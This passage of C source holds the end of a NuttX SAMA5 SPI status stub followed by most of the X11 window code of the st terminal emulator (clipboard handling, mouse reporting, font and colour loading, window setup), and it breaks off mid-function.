Name: sam_spi[0|1]status * * Description: * Return status information associated with the SPI device. * * Input Parameters: * devid - Identifies the (logical) device * * Returned Value: * Bit-encoded SPI status (see include/nuttx/spi/spi.h. * ****************************************************************************/ #ifdef CONFIG_SAMA5_SPI0 uint8_t sam_spi0status(FAR struct spi_dev_s *dev, uint32_t devid) { return 0; } #endif #ifdef CONFIG_SAMA5_SPI0 uint8_t sam_spi1status(FAR struct spi_dev_s *dev, uint32_t devid) { return 0; } #endif #endif /* CONFIG_SAMA5_SPI0 || CONFIG_SAMA5_SPI1 */
620400.c
/* See LICENSE for license details. */ #include <errno.h> #include <math.h> #include <limits.h> #include <locale.h> #include <signal.h> #include <sys/select.h> #include <time.h> #include <unistd.h> #include <libgen.h> #include <X11/Xatom.h> #include <X11/Xlib.h> #include <X11/cursorfont.h> #include <X11/keysym.h> #include <X11/Xft/Xft.h> #include <X11/XKBlib.h> char *argv0; #include "arg.h" #include "st.h" #include "win.h" #include "hb.h" /* types used in config.h */ typedef struct { uint mod; KeySym keysym; void (*func)(const Arg *); const Arg arg; } Shortcut; typedef struct { uint mod; uint button; void (*func)(const Arg *); const Arg arg; uint release; int altscrn; /* 0: don't care, -1: not alt screen, 1: alt screen */ } MouseShortcut; typedef struct { KeySym k; uint mask; char *s; /* three-valued logic variables: 0 indifferent, 1 on, -1 off */ signed char appkey; /* application keypad */ signed char appcursor; /* application cursor */ } Key; /* X modifiers */ #define XK_ANY_MOD UINT_MAX #define XK_NO_MOD 0 #define XK_SWITCH_MOD (1<<13) /* function definitions used in config.h */ static void clipcopy(const Arg *); static void clippaste(const Arg *); static void numlock(const Arg *); static void selpaste(const Arg *); static void zoom(const Arg *); static void zoomabs(const Arg *); static void zoomreset(const Arg *); static void ttysend(const Arg *); /* config.h for applying patches and the configuration. */ #include "config.h" /* XEMBED messages */ #define XEMBED_FOCUS_IN 4 #define XEMBED_FOCUS_OUT 5 /* macros */ #define IS_SET(flag) ((win.mode & (flag)) != 0) #define TRUERED(x) (((x) & 0xff0000) >> 8) #define TRUEGREEN(x) (((x) & 0xff00)) #define TRUEBLUE(x) (((x) & 0xff) << 8) typedef XftDraw *Draw; typedef XftColor Color; typedef XftGlyphFontSpec GlyphFontSpec; /* Purely graphic info */ typedef struct { int tw, th; /* tty width and height */ int w, h; /* window width and height */ int ch; /* char height */ int cw; /* char width */ int mode; /* window state/mode flags */ int cursor; /* cursor style */ } TermWindow; typedef struct { Display *dpy; Colormap cmap; Window win; Drawable buf; GlyphFontSpec *specbuf; /* font spec buffer used for rendering */ Atom xembed, wmdeletewin, netwmname, netwmiconname, netwmpid; struct { XIM xim; XIC xic; XPoint spot; XVaNestedList spotlist; } ime; Draw draw; Visual *vis; XSetWindowAttributes attrs; int scr; int isfixed; /* is fixed geometry? */ int depth; /* bit depth */ int l, t; /* left and top offset */ int gm; /* geometry mask */ } XWindow; typedef struct { Atom xtarget; char *primary, *clipboard; struct timespec tclick1; struct timespec tclick2; } XSelection; /* Font structure */ #define Font Font_ typedef struct { int height; int width; int ascent; int descent; int badslant; int badweight; short lbearing; short rbearing; XftFont *match; FcFontSet *set; FcPattern *pattern; } Font; /* Drawing Context */ typedef struct { Color *col; size_t collen; Font font, bfont, ifont, ibfont; GC gc; } DC; static inline ushort sixd_to_16bit(int); static int xmakeglyphfontspecs(XftGlyphFontSpec *, const Glyph *, int, int, int); static void xdrawglyphfontspecs(const XftGlyphFontSpec *, Glyph, int, int, int); static void xdrawglyph(Glyph, int, int); static void xclear(int, int, int, int); static int xgeommasktogravity(int); static int ximopen(Display *); static void ximinstantiate(Display *, XPointer, XPointer); static void ximdestroy(XIM, XPointer, XPointer); static int xicdestroy(XIC, XPointer, XPointer); static void xinit(int, int); static void cresize(int, int); static void xresize(int, int); static void xhints(void); static int xloadcolor(int, const char *, Color *); static int xloadfont(Font *, FcPattern *); static void xloadfonts(const char *, double); static int xloadsparefont(FcPattern *, int); static void xloadsparefonts(void); static void xunloadfont(Font *); static void xunloadfonts(void); static void xsetenv(void); static void xseturgency(int); static int evcol(XEvent *); static int evrow(XEvent *); static void expose(XEvent *); static void visibility(XEvent *); static void unmap(XEvent *); static void kpress(XEvent *); static void cmessage(XEvent *); static void resize(XEvent *); static void focus(XEvent *); static uint buttonmask(uint); static int mouseaction(XEvent *, uint); static void brelease(XEvent *); static void bpress(XEvent *); static void bmotion(XEvent *); static void propnotify(XEvent *); static void selnotify(XEvent *); static void selclear_(XEvent *); static void selrequest(XEvent *); static void setsel(char *, Time); static void mousesel(XEvent *, int); static void mousereport(XEvent *); static char *kmap(KeySym, uint); static int match(uint, uint); static void run(void); static void usage(void); static void (*handler[LASTEvent])(XEvent *) = { [KeyPress] = kpress, [ClientMessage] = cmessage, [ConfigureNotify] = resize, [VisibilityNotify] = visibility, [UnmapNotify] = unmap, [Expose] = expose, [FocusIn] = focus, [FocusOut] = focus, [MotionNotify] = bmotion, [ButtonPress] = bpress, [ButtonRelease] = brelease, /* * Uncomment if you want the selection to disappear when you select something * different in another window. */ /* [SelectionClear] = selclear_, */ [SelectionNotify] = selnotify, /* * PropertyNotify is only turned on when there is some INCR transfer happening * for the selection retrieval. */ [PropertyNotify] = propnotify, [SelectionRequest] = selrequest, }; /* Globals */ static DC dc; static XWindow xw; static XSelection xsel; static TermWindow win; /* Font Ring Cache */ enum { FRC_NORMAL, FRC_ITALIC, FRC_BOLD, FRC_ITALICBOLD }; typedef struct { XftFont *font; int flags; Rune unicodep; } Fontcache; /* Fontcache is an array now. A new font will be appended to the array. */ static Fontcache *frc = NULL; static int frclen = 0; static int frccap = 0; static char *usedfont = NULL; static double usedfontsize = 0; static double defaultfontsize = 0; static char *opt_alpha = NULL; static char *opt_class = NULL; static char **opt_cmd = NULL; static char *opt_embed = NULL; static char *opt_font = NULL; static char *opt_io = NULL; static char *opt_line = NULL; static char *opt_name = NULL; static char *opt_title = NULL; static int oldbutton = 3; /* button event on startup: 3 = release */ void clipcopy(const Arg *dummy) { Atom clipboard; free(xsel.clipboard); xsel.clipboard = NULL; if (xsel.primary != NULL) { xsel.clipboard = xstrdup(xsel.primary); clipboard = XInternAtom(xw.dpy, "CLIPBOARD", 0); XSetSelectionOwner(xw.dpy, clipboard, xw.win, CurrentTime); } } void clippaste(const Arg *dummy) { Atom clipboard; clipboard = XInternAtom(xw.dpy, "CLIPBOARD", 0); XConvertSelection(xw.dpy, clipboard, xsel.xtarget, clipboard, xw.win, CurrentTime); } void selpaste(const Arg *dummy) { XConvertSelection(xw.dpy, XA_PRIMARY, xsel.xtarget, XA_PRIMARY, xw.win, CurrentTime); } void numlock(const Arg *dummy) { win.mode ^= MODE_NUMLOCK; } void zoom(const Arg *arg) { Arg larg; larg.f = usedfontsize + arg->f; zoomabs(&larg); } void zoomabs(const Arg *arg) { xunloadfonts(); xloadfonts(usedfont, arg->f); xloadsparefonts(); cresize(0, 0); redraw(); xhints(); } void zoomreset(const Arg *arg) { Arg larg; if (defaultfontsize > 0) { larg.f = defaultfontsize; zoomabs(&larg); } } void ttysend(const Arg *arg) { ttywrite(arg->s, strlen(arg->s), 1); } int evcol(XEvent *e) { int x = e->xbutton.x - borderpx; LIMIT(x, 0, win.tw - 1); return x / win.cw; } int evrow(XEvent *e) { int y = e->xbutton.y - borderpx; LIMIT(y, 0, win.th - 1); return y / win.ch; } void mousesel(XEvent *e, int done) { int type, seltype = SEL_REGULAR; uint state = e->xbutton.state & ~(Button1Mask | forcemousemod); for (type = 1; type < LEN(selmasks); ++type) { if (match(selmasks[type], state)) { seltype = type; break; } } selextend(evcol(e), evrow(e), seltype, done); if (done) setsel(getsel(), e->xbutton.time); } void mousereport(XEvent *e) { int len, x = evcol(e), y = evrow(e), button = e->xbutton.button, state = e->xbutton.state; char buf[40]; static int ox, oy; /* from urxvt */ if (e->xbutton.type == MotionNotify) { if (x == ox && y == oy) return; if (!IS_SET(MODE_MOUSEMOTION) && !IS_SET(MODE_MOUSEMANY)) return; /* MOUSE_MOTION: no reporting if no button is pressed */ if (IS_SET(MODE_MOUSEMOTION) && oldbutton == 3) return; button = oldbutton + 32; ox = x; oy = y; } else { if (!IS_SET(MODE_MOUSESGR) && e->xbutton.type == ButtonRelease) { button = 3; } else { button -= Button1; if (button >= 7) button += 128 - 7; else if (button >= 3) button += 64 - 3; } if (e->xbutton.type == ButtonPress) { oldbutton = button; ox = x; oy = y; } else if (e->xbutton.type == ButtonRelease) { oldbutton = 3; /* MODE_MOUSEX10: no button release reporting */ if (IS_SET(MODE_MOUSEX10)) return; if (button == 64 || button == 65) return; } } if (!IS_SET(MODE_MOUSEX10)) { button += ((state & ShiftMask ) ? 4 : 0) + ((state & Mod4Mask ) ? 8 : 0) + ((state & ControlMask) ? 16 : 0); } if (IS_SET(MODE_MOUSESGR)) { len = snprintf(buf, sizeof(buf), "\033[<%d;%d;%d%c", button, x+1, y+1, e->xbutton.type == ButtonRelease ? 'm' : 'M'); } else if (x < 223 && y < 223) { len = snprintf(buf, sizeof(buf), "\033[M%c%c%c", 32+button, 32+x+1, 32+y+1); } else { return; } ttywrite(buf, len, 0); } uint buttonmask(uint button) { return button == Button1 ? Button1Mask : button == Button2 ? Button2Mask : button == Button3 ? Button3Mask : button == Button4 ? Button4Mask : button == Button5 ? Button5Mask : 0; } int mouseaction(XEvent *e, uint release) { MouseShortcut *ms; /* ignore Button<N>mask for Button<N> - it's set on release */ uint state = e->xbutton.state & ~buttonmask(e->xbutton.button); for (ms = mshortcuts; ms < mshortcuts + LEN(mshortcuts); ms++) { if (ms->release == release && ms->button == e->xbutton.button && (!ms->altscrn || (ms->altscrn == (tisaltscr() ? 1 : -1))) && (match(ms->mod, state) || /* exact or forced */ match(ms->mod, state & ~forcemousemod))) { ms->func(&(ms->arg)); return 1; } } return 0; } void bpress(XEvent *e) { struct timespec now; int snap; if (IS_SET(MODE_MOUSE) && !(e->xbutton.state & forcemousemod)) { mousereport(e); return; } if (mouseaction(e, 0)) return; if (e->xbutton.button == Button1) { /* * If the user clicks below predefined timeouts specific * snapping behaviour is exposed. */ clock_gettime(CLOCK_MONOTONIC, &now); if (TIMEDIFF(now, xsel.tclick2) <= tripleclicktimeout) { snap = SNAP_LINE; } else if (TIMEDIFF(now, xsel.tclick1) <= doubleclicktimeout) { snap = SNAP_WORD; } else { snap = 0; } xsel.tclick2 = xsel.tclick1; xsel.tclick1 = now; selstart(evcol(e), evrow(e), snap); } } void propnotify(XEvent *e) { XPropertyEvent *xpev; Atom clipboard = XInternAtom(xw.dpy, "CLIPBOARD", 0); xpev = &e->xproperty; if (xpev->state == PropertyNewValue && (xpev->atom == XA_PRIMARY || xpev->atom == clipboard)) { selnotify(e); } } void selnotify(XEvent *e) { ulong nitems, ofs, rem; int format; uchar *data, *last, *repl; Atom type, incratom, property = None; incratom = XInternAtom(xw.dpy, "INCR", 0); ofs = 0; if (e->type == SelectionNotify) property = e->xselection.property; else if (e->type == PropertyNotify) property = e->xproperty.atom; if (property == None) return; do { if (XGetWindowProperty(xw.dpy, xw.win, property, ofs, BUFSIZ/4, False, AnyPropertyType, &type, &format, &nitems, &rem, &data)) { fprintf(stderr, "Clipboard allocation failed\n"); return; } if (e->type == PropertyNotify && nitems == 0 && rem == 0) { /* * If there is some PropertyNotify with no data, then * this is the signal of the selection owner that all * data has been transferred. We won't need to receive * PropertyNotify events anymore. */ MODBIT(xw.attrs.event_mask, 0, PropertyChangeMask); XChangeWindowAttributes(xw.dpy, xw.win, CWEventMask, &xw.attrs); } if (type == incratom) { /* * Activate the PropertyNotify events so we receive * when the selection owner does send us the next * chunk of data. */ MODBIT(xw.attrs.event_mask, 1, PropertyChangeMask); XChangeWindowAttributes(xw.dpy, xw.win, CWEventMask, &xw.attrs); /* * Deleting the property is the transfer start signal. */ XDeleteProperty(xw.dpy, xw.win, (int)property); continue; } /* * As seen in getsel: * Line endings are inconsistent in the terminal and GUI world * copy and pasting. When receiving some selection data, * replace all '\n' with '\r'. * FIXME: Fix the computer world. */ repl = data; last = data + nitems * format / 8; while ((repl = memchr(repl, '\n', last - repl))) { *repl++ = '\r'; } if (IS_SET(MODE_BRCKTPASTE) && ofs == 0) ttywrite("\033[200~", 6, 0); ttywrite((char *)data, nitems * format / 8, 1); if (IS_SET(MODE_BRCKTPASTE) && rem == 0) ttywrite("\033[201~", 6, 0); XFree(data); /* number of 32-bit chunks returned */ ofs += nitems * format / 32; } while (rem > 0); /* * Deleting the property again tells the selection owner to send the * next data chunk in the property. */ XDeleteProperty(xw.dpy, xw.win, (int)property); } void xclipcopy(void) { clipcopy(NULL); } void selclear_(XEvent *e) { selclear(); } void selrequest(XEvent *e) { XSelectionRequestEvent *xsre; XSelectionEvent xev; Atom xa_targets, string, clipboard; char *seltext; xsre = (XSelectionRequestEvent *) e; xev.type = SelectionNotify; xev.requestor = xsre->requestor; xev.selection = xsre->selection; xev.target = xsre->target; xev.time = xsre->time; if (xsre->property == None) xsre->property = xsre->target; /* reject */ xev.property = None; xa_targets = XInternAtom(xw.dpy, "TARGETS", 0); if (xsre->target == xa_targets) { /* respond with the supported type */ string = xsel.xtarget; XChangeProperty(xsre->display, xsre->requestor, xsre->property, XA_ATOM, 32, PropModeReplace, (uchar *) &string, 1); xev.property = xsre->property; } else if (xsre->target == xsel.xtarget || xsre->target == XA_STRING) { /* * xith XA_STRING non ascii characters may be incorrect in the * requestor. It is not our problem, use utf8. */ clipboard = XInternAtom(xw.dpy, "CLIPBOARD", 0); if (xsre->selection == XA_PRIMARY) { seltext = xsel.primary; } else if (xsre->selection == clipboard) { seltext = xsel.clipboard; } else { fprintf(stderr, "Unhandled clipboard selection 0x%lx\n", xsre->selection); return; } if (seltext != NULL) { XChangeProperty(xsre->display, xsre->requestor, xsre->property, xsre->target, 8, PropModeReplace, (uchar *)seltext, strlen(seltext)); xev.property = xsre->property; } } /* all done, send a notification to the listener */ if (!XSendEvent(xsre->display, xsre->requestor, 1, 0, (XEvent *) &xev)) fprintf(stderr, "Error sending SelectionNotify event\n"); } void setsel(char *str, Time t) { if (!str) return; free(xsel.primary); xsel.primary = str; XSetSelectionOwner(xw.dpy, XA_PRIMARY, xw.win, t); if (XGetSelectionOwner(xw.dpy, XA_PRIMARY) != xw.win) selclear(); } void xsetsel(char *str) { setsel(str, CurrentTime); } void brelease(XEvent *e) { if (IS_SET(MODE_MOUSE) && !(e->xbutton.state & forcemousemod)) { mousereport(e); return; } if (mouseaction(e, 1)) return; if (e->xbutton.button == Button1) mousesel(e, 1); } void bmotion(XEvent *e) { if (IS_SET(MODE_MOUSE) && !(e->xbutton.state & forcemousemod)) { mousereport(e); return; } mousesel(e, 0); } void cresize(int width, int height) { int col, row; if (width != 0) win.w = width; if (height != 0) win.h = height; col = (win.w - 2 * borderpx) / win.cw; row = (win.h - 2 * borderpx) / win.ch; col = MAX(1, col); row = MAX(1, row); tresize(col, row); xresize(col, row); ttyresize(win.tw, win.th); } void xresize(int col, int row) { win.tw = col * win.cw; win.th = row * win.ch; XFreePixmap(xw.dpy, xw.buf); xw.buf = XCreatePixmap(xw.dpy, xw.win, win.w, win.h, xw.depth); XftDrawChange(xw.draw, xw.buf); xclear(0, 0, win.w, win.h); /* resize to new width */ xw.specbuf = xrealloc(xw.specbuf, col * sizeof(GlyphFontSpec)); } ushort sixd_to_16bit(int x) { return x == 0 ? 0 : 0x3737 + 0x2828 * x; } int xloadcolor(int i, const char *name, Color *ncolor) { XRenderColor color = { .alpha = 0xffff }; if (!name) { if (BETWEEN(i, 16, 255)) { /* 256 color */ if (i < 6*6*6+16) { /* same colors as xterm */ color.red = sixd_to_16bit( ((i-16)/36)%6 ); color.green = sixd_to_16bit( ((i-16)/6) %6 ); color.blue = sixd_to_16bit( ((i-16)/1) %6 ); } else { /* greyscale */ color.red = 0x0808 + 0x0a0a * (i - (6*6*6+16)); color.green = color.blue = color.red; } return XftColorAllocValue(xw.dpy, xw.vis, xw.cmap, &color, ncolor); } else name = colorname[i]; } return XftColorAllocName(xw.dpy, xw.vis, xw.cmap, name, ncolor); } void xloadcols(void) { int i; static int loaded; Color *cp; if (loaded) { for (cp = dc.col; cp < &dc.col[dc.collen]; ++cp) XftColorFree(xw.dpy, xw.vis, xw.cmap, cp); } else { dc.collen = MAX(LEN(colorname), 256); dc.col = xmalloc(dc.collen * sizeof(Color)); } for (i = 0; i < dc.collen; i++) if (!xloadcolor(i, NULL, &dc.col[i])) { if (colorname[i]) die("could not allocate color '%s'\n", colorname[i]); else die("could not allocate color %d\n", i); } /* set alpha value of bg color */ if (opt_alpha) alpha = strtof(opt_alpha, NULL); dc.col[defaultbg].color.alpha = (unsigned short)(0xffff * alpha); dc.col[defaultbg].pixel &= 0x00FFFFFF; dc.col[defaultbg].pixel |= (unsigned char)(0xff * alpha) << 24; loaded = 1; } int xsetcolorname(int x, const char *name) { Color ncolor; if (!BETWEEN(x, 0, dc.collen)) return 1; if (!xloadcolor(x, name, &ncolor)) return 1; XftColorFree(xw.dpy, xw.vis, xw.cmap, &dc.col[x]); dc.col[x] = ncolor; return 0; } /* * Absolute coordinates. */ void xclear(int x1, int y1, int x2, int y2) { XftDrawRect(xw.draw, &dc.col[IS_SET(MODE_REVERSE)? defaultfg : defaultbg], x1, y1, x2-x1, y2-y1); } void xhints(void) { XClassHint class = {opt_name ? opt_name : termname, opt_class ? opt_class : termname}; XWMHints wm = {.flags = InputHint, .input = 1}; XSizeHints *sizeh; sizeh = XAllocSizeHints(); sizeh->flags = PSize | PResizeInc | PBaseSize | PMinSize; sizeh->height = win.h; sizeh->width = win.w; sizeh->height_inc = win.ch; sizeh->width_inc = win.cw; sizeh->base_height = 2 * borderpx; sizeh->base_width = 2 * borderpx; sizeh->min_height = win.ch + 2 * borderpx; sizeh->min_width = win.cw + 2 * borderpx; if (xw.isfixed) { sizeh->flags |= PMaxSize; sizeh->min_width = sizeh->max_width = win.w; sizeh->min_height = sizeh->max_height = win.h; } if (xw.gm & (XValue|YValue)) { sizeh->flags |= USPosition | PWinGravity; sizeh->x = xw.l; sizeh->y = xw.t; sizeh->win_gravity = xgeommasktogravity(xw.gm); } XSetWMProperties(xw.dpy, xw.win, NULL, NULL, NULL, 0, sizeh, &wm, &class); XFree(sizeh); } int xgeommasktogravity(int mask) { switch (mask & (XNegative|YNegative)) { case 0: return NorthWestGravity; case XNegative: return NorthEastGravity; case YNegative: return SouthWestGravity; } return SouthEastGravity; } int xloadfont(Font *f, FcPattern *pattern) { FcPattern *configured; FcPattern *match; FcResult result; XGlyphInfo extents; int wantattr, haveattr; /* * Manually configure instead of calling XftMatchFont * so that we can use the configured pattern for * "missing glyph" lookups. */ configured = FcPatternDuplicate(pattern); if (!configured) return 1; FcConfigSubstitute(NULL, configured, FcMatchPattern); XftDefaultSubstitute(xw.dpy, xw.scr, configured); match = FcFontMatch(NULL, configured, &result); if (!match) { FcPatternDestroy(configured); return 1; } if (!(f->match = XftFontOpenPattern(xw.dpy, match))) { FcPatternDestroy(configured); FcPatternDestroy(match); return 1; } if ((XftPatternGetInteger(pattern, "slant", 0, &wantattr) == XftResultMatch)) { /* * Check if xft was unable to find a font with the appropriate * slant but gave us one anyway. Try to mitigate. */ if ((XftPatternGetInteger(f->match->pattern, "slant", 0, &haveattr) != XftResultMatch) || haveattr < wantattr) { f->badslant = 1; fputs("font slant does not match\n", stderr); } } if ((XftPatternGetInteger(pattern, "weight", 0, &wantattr) == XftResultMatch)) { if ((XftPatternGetInteger(f->match->pattern, "weight", 0, &haveattr) != XftResultMatch) || haveattr != wantattr) { f->badweight = 1; fputs("font weight does not match\n", stderr); } } XftTextExtentsUtf8(xw.dpy, f->match, (const FcChar8 *) ascii_printable, strlen(ascii_printable), &extents); f->set = NULL; f->pattern = configured; f->ascent = f->match->ascent; f->descent = f->match->descent; f->lbearing = 0; f->rbearing = f->match->max_advance_width; f->height = f->ascent + f->descent; f->width = DIVCEIL(extents.xOff, strlen(ascii_printable)); return 0; } void xloadfonts(const char *fontstr, double fontsize) { FcPattern *pattern; double fontval; if (fontstr[0] == '-') pattern = XftXlfdParse(fontstr, False, False); else pattern = FcNameParse((const FcChar8 *)fontstr); if (!pattern) die("can't open font %s\n", fontstr); if (fontsize > 1) { FcPatternDel(pattern, FC_PIXEL_SIZE); FcPatternDel(pattern, FC_SIZE); FcPatternAddDouble(pattern, FC_PIXEL_SIZE, (double)fontsize); usedfontsize = fontsize; } else { if (FcPatternGetDouble(pattern, FC_PIXEL_SIZE, 0, &fontval) == FcResultMatch) { usedfontsize = fontval; } else if (FcPatternGetDouble(pattern, FC_SIZE, 0, &fontval) == FcResultMatch) { usedfontsize = -1; } else { /* * Default font size is 12, if none given. This is to * have a known usedfontsize value. */ FcPatternAddDouble(pattern, FC_PIXEL_SIZE, 12); usedfontsize = 12; } defaultfontsize = usedfontsize; } if (xloadfont(&dc.font, pattern)) die("can't open font %s\n", fontstr); if (usedfontsize < 0) { FcPatternGetDouble(dc.font.match->pattern, FC_PIXEL_SIZE, 0, &fontval); usedfontsize = fontval; if (fontsize == 0) defaultfontsize = fontval; } /* Setting character width and height. */ win.cw = ceilf(dc.font.width * cwscale); win.ch = ceilf(dc.font.height * chscale); FcPatternDel(pattern, FC_SLANT); FcPatternAddInteger(pattern, FC_SLANT, FC_SLANT_ITALIC); if (xloadfont(&dc.ifont, pattern)) die("can't open font %s\n", fontstr); FcPatternDel(pattern, FC_WEIGHT); FcPatternAddInteger(pattern, FC_WEIGHT, FC_WEIGHT_BOLD); if (xloadfont(&dc.ibfont, pattern)) die("can't open font %s\n", fontstr); FcPatternDel(pattern, FC_SLANT); FcPatternAddInteger(pattern, FC_SLANT, FC_SLANT_ROMAN); if (xloadfont(&dc.bfont, pattern)) die("can't open font %s\n", fontstr); FcPatternDestroy(pattern); } int xloadsparefont(FcPattern *pattern, int flags) { FcPattern *match; FcResult result; match = FcFontMatch(NULL, pattern, &result); if (!match) { return 1; } if (!(frc[frclen].font = XftFontOpenPattern(xw.dpy, match))) { FcPatternDestroy(match); return 1; } frc[frclen].flags = flags; /* Believe U+0000 glyph will present in each default font */ frc[frclen].unicodep = 0; frclen++; return 0; } void xloadsparefonts(void) { FcPattern *pattern; double sizeshift, fontval; int fc; char **fp; if (frclen != 0) die("can't embed spare fonts. cache isn't empty"); /* Calculate count of spare fonts */ fc = sizeof(font2) / sizeof(*font2); if (fc == 0) return; /* Allocate memory for cache entries. */ if (frccap < 4 * fc) { frccap += 4 * fc - frccap; frc = xrealloc(frc, frccap * sizeof(Fontcache)); } for (fp = font2; fp - font2 < fc; ++fp) { if (**fp == '-') pattern = XftXlfdParse(*fp, False, False); else pattern = FcNameParse((FcChar8 *)*fp); if (!pattern) die("can't open spare font %s\n", *fp); if (defaultfontsize > 0) { sizeshift = usedfontsize - defaultfontsize; if (sizeshift != 0 && FcPatternGetDouble(pattern, FC_PIXEL_SIZE, 0, &fontval) == FcResultMatch) { fontval += sizeshift; FcPatternDel(pattern, FC_PIXEL_SIZE); FcPatternDel(pattern, FC_SIZE); FcPatternAddDouble(pattern, FC_PIXEL_SIZE, fontval); } } FcPatternAddBool(pattern, FC_SCALABLE, 1); FcConfigSubstitute(NULL, pattern, FcMatchPattern); XftDefaultSubstitute(xw.dpy, xw.scr, pattern); if (xloadsparefont(pattern, FRC_NORMAL)) die("can't open spare font %s\n", *fp); FcPatternDel(pattern, FC_SLANT); FcPatternAddInteger(pattern, FC_SLANT, FC_SLANT_ITALIC); if (xloadsparefont(pattern, FRC_ITALIC)) die("can't open spare font %s\n", *fp); FcPatternDel(pattern, FC_WEIGHT); FcPatternAddInteger(pattern, FC_WEIGHT, FC_WEIGHT_BOLD); if (xloadsparefont(pattern, FRC_ITALICBOLD)) die("can't open spare font %s\n", *fp); FcPatternDel(pattern, FC_SLANT); FcPatternAddInteger(pattern, FC_SLANT, FC_SLANT_ROMAN); if (xloadsparefont(pattern, FRC_BOLD)) die("can't open spare font %s\n", *fp); FcPatternDestroy(pattern); } } void xunloadfont(Font *f) { XftFontClose(xw.dpy, f->match); FcPatternDestroy(f->pattern); if (f->set) FcFontSetDestroy(f->set); } void xunloadfonts(void) { /* Clear Harfbuzz font cache. */ hbunloadfonts(); /* Free the loaded fonts in the font cache. */ while (frclen > 0) XftFontClose(xw.dpy, frc[--frclen].font); xunloadfont(&dc.font); xunloadfont(&dc.bfont); xunloadfont(&dc.ifont); xunloadfont(&dc.ibfont); } int ximopen(Display *dpy) { XIMCallback imdestroy = { .client_data = NULL, .callback = ximdestroy }; XICCallback icdestroy = { .client_data = NULL, .callback = xicdestroy }; xw.ime.xim = XOpenIM(xw.dpy, NULL, NULL, NULL); if (xw.ime.xim == NULL) return 0; if (XSetIMValues(xw.ime.xim, XNDestroyCallback, &imdestroy, NULL)) fprintf(stderr, "XSetIMValues: " "Could not set XNDestroyCallback.\n"); xw.ime.spotlist = XVaCreateNestedList(0, XNSpotLocation, &xw.ime.spot, NULL); if (xw.ime.xic == NULL) { xw.ime.xic = XCreateIC(xw.ime.xim, XNInputStyle, XIMPreeditNothing | XIMStatusNothing, XNClientWindow, xw.win, XNDestroyCallback, &icdestroy, NULL); } if (xw.ime.xic == NULL) fprintf(stderr, "XCreateIC: Could not create input context.\n"); return 1; } void ximinstantiate(Display *dpy, XPointer client, XPointer call) { if (ximopen(dpy)) XUnregisterIMInstantiateCallback(xw.dpy, NULL, NULL, NULL, ximinstantiate, NULL); } void ximdestroy(XIM xim, XPointer client, XPointer call) { xw.ime.xim = NULL; XRegisterIMInstantiateCallback(xw.dpy, NULL, NULL, NULL, ximinstantiate, NULL); XFree(xw.ime.spotlist); } int xicdestroy(XIC xim, XPointer client, XPointer call) { xw.ime.xic = NULL; return 1; } void xinit(int cols, int rows) { XGCValues gcvalues; Cursor cursor; Window parent; pid_t thispid = getpid(); XColor xmousefg, xmousebg; XWindowAttributes attr; XVisualInfo vis; if (!(xw.dpy = XOpenDisplay(NULL))) die("can't open display\n"); xw.scr = XDefaultScreen(xw.dpy); if (!(opt_embed && (parent = strtol(opt_embed, NULL, 0)))) { parent = XRootWindow(xw.dpy, xw.scr); xw.depth = 32; } else { XGetWindowAttributes(xw.dpy, parent, &attr); xw.depth = attr.depth; } XMatchVisualInfo(xw.dpy, xw.scr, xw.depth, TrueColor, &vis); xw.vis = vis.visual; /* font */ if (!FcInit()) die("could not init fontconfig.\n"); usedfont = (opt_font == NULL)? font : opt_font; xloadfonts(usedfont, 0); /* spare fonts */ xloadsparefonts(); /* colors */ xw.cmap = XCreateColormap(xw.dpy, parent, xw.vis, None); xloadcols(); /* adjust fixed window geometry */ win.w = 2 * borderpx + cols * win.cw; win.h = 2 * borderpx + rows * win.ch; if (xw.gm & XNegative) xw.l += DisplayWidth(xw.dpy, xw.scr) - win.w - 2; if (xw.gm & YNegative) xw.t += DisplayHeight(xw.dpy, xw.scr) - win.h - 2; /* Events */ xw.attrs.background_pixel = dc.col[defaultbg].pixel; xw.attrs.border_pixel = dc.col[defaultbg].pixel; xw.attrs.bit_gravity = NorthWestGravity; xw.attrs.event_mask = FocusChangeMask | KeyPressMask | KeyReleaseMask | ExposureMask | VisibilityChangeMask | StructureNotifyMask | ButtonMotionMask | ButtonPressMask | ButtonReleaseMask; xw.attrs.colormap = xw.cmap; xw.win = XCreateWindow(xw.dpy, parent, xw.l, xw.t, win.w, win.h, 0, xw.depth, InputOutput, xw.vis, CWBackPixel | CWBorderPixel | CWBitGravity | CWEventMask | CWColormap, &xw.attrs); memset(&gcvalues, 0, sizeof(gcvalues)); gcvalues.graphics_exposures = False; xw.buf = XCreatePixmap(xw.dpy, xw.win, win.w, win.h, xw.depth); dc.gc = XCreateGC(xw.dpy, xw.buf, GCGraphicsExposures, &gcvalues); XSetForeground(xw.dpy, dc.gc, dc.col[defaultbg].pixel); XFillRectangle(xw.dpy, xw.buf, dc.gc, 0, 0, win.w, win.h); /* font spec buffer */ xw.specbuf = xmalloc(cols * sizeof(GlyphFontSpec)); /* Xft rendering context */ xw.draw = XftDrawCreate(xw.dpy, xw.buf, xw.vis, xw.cmap); /* input methods */ if (!ximopen(xw.dpy)) { XRegisterIMInstantiateCallback(xw.dpy, NULL, NULL, NULL, ximinstantiate, NULL); } /* white cursor, black outline */ cursor = XCreateFontCursor(xw.dpy, mouseshape); XDefineCursor(xw.dpy, xw.win, cursor); if (XParseColor(xw.dpy, xw.cmap, colorname[mousefg], &xmousefg) == 0) { xmousefg.red = 0xffff; xmousefg.green = 0xffff; xmousefg.blue = 0xffff; } if (XParseColor(xw.dpy, xw.cmap, colorname[mousebg], &xmousebg) == 0) { xmousebg.red = 0x0000; xmousebg.green = 0x0000; xmousebg.blue = 0x0000; } XRecolorCursor(xw.dpy, cursor, &xmousefg, &xmousebg); xw.xembed = XInternAtom(xw.dpy, "_XEMBED", False); xw.wmdeletewin = XInternAtom(xw.dpy, "WM_DELETE_WINDOW", False); xw.netwmname = XInternAtom(xw.dpy, "_NET_WM_NAME", False); xw.netwmiconname = XInternAtom(xw.dpy, "_NET_WM_ICON_NAME", False); XSetWMProtocols(xw.dpy, xw.win, &xw.wmdeletewin, 1); xw.netwmpid = XInternAtom(xw.dpy, "_NET_WM_PID", False); XChangeProperty(xw.dpy, xw.win, xw.netwmpid, XA_CARDINAL, 32, PropModeReplace, (uchar *)&thispid, 1); win.mode = MODE_NUMLOCK; resettitle(); xhints(); XMapWindow(xw.dpy, xw.win); XSync(xw.dpy, False); clock_gettime(CLOCK_MONOTONIC, &xsel.tclick1); clock_gettime(CLOCK_MONOTONIC, &xsel.tclick2); xsel.primary = NULL; xsel.clipboard = NULL; xsel.xtarget = XInternAtom(xw.dpy, "UTF8_STRING", 0); if (xsel.xtarget == None) xsel.xtarget = 